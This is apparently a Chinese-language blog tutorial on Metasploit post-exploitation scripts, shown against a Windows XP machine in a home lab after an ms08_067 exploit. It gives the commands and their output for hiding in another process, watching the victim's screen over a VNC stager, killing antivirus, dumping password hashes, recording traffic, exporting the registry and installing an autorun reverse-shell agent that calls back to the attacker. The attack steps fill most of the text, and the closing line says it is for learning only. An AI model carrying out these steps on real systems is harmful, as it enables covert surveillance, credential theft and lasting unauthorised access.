Metasploit常用后渗透脚本——远程监视

---

前言

本文详细介绍了metasploit获取meterpreter权限常用的后渗透脚本的功能和实践过程

测试环境	描述	ip
主机	kali 2020	192.168.1.113
靶机	winxp sp3	192.168.1.106

首先使用ms08_067渗透模块对靶机进行渗透测试，详细步骤看
ms08_067漏洞渗透步骤——MSF获取meterpreter权限

msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.1.113:4444 
[*] 192.168.1.106:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175174 bytes) to 192.168.1.106
[*] Meterpreter session 1 opened (192.168.1.113:4444 -> 192.168.1.106:1216) at 2021-06-05 22:43:39 +0800

meterpreter > 

---

一、迁移进程

迁移进程的目的是让我们对靶机的控制更加隐蔽和持久，因为使用漏洞进行渗透测试，会在靶机内建立一个进程，非常容易被发现，迁移到更安全的进程上就好了

meterpreter > run post/windows/manage/migrate

[*] Running module against WINXP-1
[*] Current server process: svchost.exe (1156)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 3716
[+] Successfully migrated into process 3716

二、安装远程VNC会话

可以在受控系统上运行一个交互式的远程图形化工具（可以让你看到对方屏幕上的一举一动）

meterpreter > run vnc
[*] Creating a VNC reverse tcp stager: LHOST=192.168.1.113 LPORT=4545
[*] Running payload handler
[*] VNC stager executable 73802 bytes long
[*] Uploaded the VNC agent to C:\WINDOWS\TEMP\QuUcZHEDZcd.exe (must be deleted manually)
[*] Executing the VNC agent with endpoint 192.168.1.113:4545...
meterpreter > Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
No authentication needed
Authentication successful
Desktop name "winxp-1"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding

靶机桌面图片

vnc服务

可能出现的问题
对方桌面可能被锁定导致无法访问到桌面，可以使用screen_unlock脚本进行解锁

meterpreter > run screen_unlock

三、关闭杀毒软件

杀毒软件可以阻止攻击过程

meterpreter > run killav

[!] Meterpreter scripts are deprecated. Try post/windows/manage/killav.
[!] Example: run post/windows/manage/killav OPTION=value [...]
[*] Killing Antivirus services on the target...
[*] Killing off cmd.exe...

四、获取系统密码哈希值

meterpreter > run hashdump

[!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
[!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY a6cc07586ea276fb6bb10b5e6fbc07e5...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...

五、查看目标机上的所有流量

想要查看到目标系统上的所有网络流量，可以运行数据包记录脚本，所有被捕获的包都将以.pcap的文件格式保存下来，并能够被Wireshark解析，具体过程如下

meterpreter > run packetrecorder -i 1

[!] Meterpreter scripts are deprecated. Try post/windows/manage/rpcapd_start.
[!] Example: run post/windows/manage/rpcapd_start OPTION=value [...]
[*] Starting Packet capture on interface 1
[+] Packet capture started
[*] Packets being saved in to /root/.msf4/logs/scripts/packetrecorder/WINXP-1_20210605.1818/WINXP-1_20210605.1818.cap
[*] Packet capture interval is 30 Seconds

六、提取系统信息

scraper脚本可以提取出所有系统信息，包括用户名和密码、下载全部注册表、挖掘密码哈希值等

meterpreter > run scraper
[*] New session on 192.168.1.106:445...
[*] Gathering basic system information...
[*] Dumping password hashes...
[*] Obtaining the entire registry...
[*]  Exporting HKCU
[*]  Downloading HKCU (C:\WINDOWS\TEMP\XoAUidOI.reg)
[*]  Cleaning HKCU
[*]  Exporting HKLM
[*]  Downloading HKLM (C:\WINDOWS\TEMP\nHtPKIjq.reg)
[*]  Cleaning HKLM
[*]  Exporting HKCC
[*]  Downloading HKCC (C:\WINDOWS\TEMP\FaWycKSv.reg)
[*]  Cleaning HKCC
[*]  Exporting HKCR
[*]  Downloading HKCR (C:\WINDOWS\TEMP\qKYvqXeA.reg)
[*]  Cleaning HKCR
[*]  Exporting HKU
[*]  Downloading HKU (C:\WINDOWS\TEMP\DnovcEeK.reg)
[*]  Cleaning HKU
[*] Completed processing on 192.168.1.106:445...

七、控制持久化

meterpreter的persistence脚本允许注入meterpreter代理，确保系统重启后还能连接到meterpreter。

meterpreter > run persistence -X -i 50 -p 443 -r 192.168.1.113

[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/WINXP-1_20210605.2824/WINXP-1_20210605.2824.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.1.113 LPORT=443
[*] Persistent agent script is 99612 bytes long
[+] Persistent Script written to C:\WINDOWS\TEMP\VAfovf.vbs
[*] Executing script C:\WINDOWS\TEMP\VAfovf.vbs
[+] Agent executed with PID 3384
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\moOyPewJil
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\moOyPewJil
meterpreter > 

注入代理后，使用hanler进行监控

msf6 exploit(windows/smb/ms08_067_netapi) > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lport 443
lport => 443
msf6 exploit(multi/handler) > set lhost 192.168.1.113
lhost => 192.168.1.113

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.113    yes       The listen address (an interface may be specified)
   LPORT     443              yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.113:443 

八、查看更多脚本

打出run后按TAB键

meterpreter > run 
Display all 531 possibilities? (y or n)
run arp_scanner
run autoroute
run checkvm
run credcollect
run domain_list_gen
run dumplinks
run duplicate
run enum_chrome
run enum_firefox
run enum_logged_on_users
run enum_powershell_env
run enum_putty
run enum_shares
run enum_vmware
run event_manager
......

后渗透脚本可以简化获取meterpreter权限后进一步获取更多信息的过程，除了后渗透脚本，一些后渗透命令也十分实用，详情看Metasploit后渗透命令大全讲解——超详细

---

总结

本文简单介绍了metesploit获取meterpreter权限后常用的后渗透脚本功能和实际操作，仅供学习